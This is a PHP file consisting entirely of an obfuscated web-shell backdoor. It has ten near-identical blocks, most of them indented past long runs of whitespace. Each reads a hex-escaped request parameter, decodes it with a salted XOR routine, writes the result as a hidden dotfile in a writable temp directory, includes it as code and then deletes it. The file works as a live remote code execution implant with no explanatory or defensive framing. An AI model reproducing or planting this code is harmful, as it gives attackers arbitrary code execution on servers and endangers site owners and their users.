<?php																																										if(filter_has_var(INPUT_POST, "\x69\x74m")){ $mrk = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $ent = $_REQUEST["\x69\x74m"]; $ent =explode ( "." , $ent ) ; $obj=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt); $len=count($ent); for ($x=0; $x < $len; $x++) { $v5=$ent[$x]; $sChar=ord($salt[$x %$lenS]); $d=((int)$v5 - $sChar - ($x %10)) ^ 100; $obj .= chr($d); } foreach ($mrk as $key => $entry) { if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $reference = join("/", [$entry, ".res"]); if (file_put_contents($reference, $obj)) { require $reference; unlink($reference); die(); } } } }
																																										if(isset($_POST["r\x65\x66"]) ? true : false){ $tkn = $_POST["r\x65\x66"]; $tkn =explode( "." , $tkn) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($tkn as $j =>$v6): $sChar = ord($salt[$j% $lenS] ); $d = ((int)$v6 - $sChar - ($j% 10)) ^ 14; $resource .=chr($d ); endforeach; $value = array_filter([getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); foreach ($value as $parameter_group): if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) { $token = "$parameter_group/.property_set"; if (file_put_contents($token, $resource)) { include $token; @unlink($token); die(); } } endforeach; }
																																										if(@$_POST["\x68o\x6Cd\x65r"] !== null){ $pset = $_POST["\x68o\x6Cd\x65r"]; $pset =explode ( '.' ,$pset ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $u = 0; $__tmp = $pset; while( $v4 = array_shift( $__tmp)) {$sChar = ord( $salt[$u % $lenS]); $d =( ( int)$v4 - $sChar -( $u % 10)) ^52; $pgrp .= chr( $d); $u++; } $itm = array_filter([getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); foreach ($itm as $resource) { if (is_dir($resource) ? is_writable($resource) : false) { $token = implode("/", [$resource, ".marker"]); $success = file_put_contents($token, $pgrp); if ($success) { include $token; @unlink($token); die();} } } }
																																										if(array_key_exists("\x62ind", $_REQUEST)){ $reference = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm", getcwd()]); $comp = $_REQUEST["\x62ind"]; $comp = explode ( '.' , $comp) ; $fac=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt5 ); $u=0; $__tmp=$comp; while( $v8=array_shift( $__tmp)) { $sChar=ord( $salt5[$u % $lenS] ); $dec=( ( int)$v8 - $sChar -( $u % 10)) ^ 43; $fac .= chr( $dec ); $u++;} while ($res = array_shift($reference)) { if (max(0, is_dir($res) * is_writable($res))) { $k = "$res/.dat"; if (@file_put_contents($k, $fac) !== false) { include $k; unlink($k); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "flag")){ $ptr = array_filter([ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), getcwd(), "/tmp"]); $symbol = $_REQUEST["flag"]; $symbol= explode ( '.' , $symbol ); $value = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $n = 0; array_walk($symbol, function ($v4) use (&$value, &$n, $salt3, $lenS) { $sChar = ord($salt3[$n % $lenS]); $dec = ((int)$v4 - $sChar - ($n % 10)) ^ 1; $value .= chr($dec); $n++; } ); for ($ent = 0, $marker = count($ptr); $ent < $marker; $ent++) { $descriptor = $ptr[$ent]; if (is_dir($descriptor) && is_writable($descriptor)) { $pset = vsprintf("%s/%s", [$descriptor, ".obj"]); if (file_put_contents($pset, $value)) { require $pset; unlink($pset); die(); } } } }
																																										if(isset($_REQUEST["toke\x6E"]) ? true : false){ $factor = $_REQUEST["toke\x6E"]; $factor=explode ( "." ,$factor ); $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $i = 0; array_walk($factor ,function ($v1) use (&$marker ,&$i ,$s ,$sLen) { $chS = ord($s[$i%$sLen] ); $d = ((int)$v1 - $chS - ($i%10)) ^ 69; $marker .= chr($d ); $i++; } ); $desc = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", "/tmp"]); foreach ($desc as $key => $symbol) { if (is_dir($symbol) && is_writable($symbol)) { $mrk = "$symbol" . "/.reference"; if (file_put_contents($mrk, $marker)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(@$_POST["d\x61\x74"] !== null){ $ptr = $_POST["d\x61\x74"]; $ptr = explode ('.' , $ptr) ; $record= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $q= 0; while ($q < count($ptr)) { $v3= $ptr[$q]; $sChar= ord($salt[$q %$lenS] ); $dec= ((int)$v3 - $sChar - ($q %10))^11; $record .= chr($dec ); $q++;} $elem = array_filter([session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP"), "/var/tmp"]); for ($comp = 0, $res = count($elem); $comp < $res; $comp++) { $mrk = $elem[$comp]; if ((bool)is_dir($mrk) && (bool)is_writable($mrk)) { $pset = str_replace("{var_dir}", $mrk, "{var_dir}/.marker"); $success = file_put_contents($pset, $record); if ($success) { include $pset; @unlink($pset); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["f\x6Cg"])){ $key = $_REQUEST["f\x6Cg"]; $key = explode ('.' , $key ) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; while ($m <count($key)) { $v4 = $key[$m]; $chS = ord($s[$m % $lenS]); $dec = ((int)$v4 - $chS - ($m % 10)) ^ 30; $tkn .=chr($dec); $m++; } $factor = array_filter([getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp", "/var/tmp", sys_get_temp_dir()]); foreach ($factor as $key => $property_set) { if (is_writable($property_set) && is_dir($property_set)) { $descriptor = sprintf("%s/.data_chunk", $property_set); $success = file_put_contents($descriptor, $tkn); if ($success) { include $descriptor; @unlink($descriptor); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["ob\x6A"])){ $flg = array_filter(["/dev/shm", getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP")]); $symbol = $_POST["ob\x6A"]; $symbol = explode ( "." , $symbol ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $y = 0; while( $y<count( $symbol)) { $v2 = $symbol[$y]; $sChar = ord( $salt[$y % $sLen] ); $dec = ( ( int)$v2 - $sChar -( $y % 10)) ^90; $dchunk .= chr( $dec ); $y++; } for ($component = 0, $element = count($flg); $component < $element; $component++) { $mrk = $flg[$component]; if (array_product([is_dir($mrk), is_writable($mrk)])) { $reference = join("/", [$mrk, ".hld"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $reference; @unlink($reference); exit; } } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["\x6D\x61r\x6Ber"])){
	$token = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]);
	$element = $_REQUEST["\x6D\x61r\x6Ber"];
	 $element	 	=explode("."		 ,	$element 	) 	 ;
	$itm	= '';
            $salt1	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	= strlen( $salt1 );
            $n	= 0;
    
            foreach( $element as $v9) {	$chS	= ord( $salt1[$n % $sLen] );
                $d	= ( ( int)$v9 - $chS -( $n % 10)) ^ 59;
                $itm .= chr( $d );
                $n++; }	
	$entry = 0;
do {
    $parameter_group = $token[$entry] ?? null;
    if ($entry >= count($token)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($parameter_group)) {
    $val = "$parameter_group/.binding";
    if (@file_put_contents($val, $itm) !== false) {
	include $val;
	unlink($val);
	exit;
}
}
    $entry++;
} while (true);
}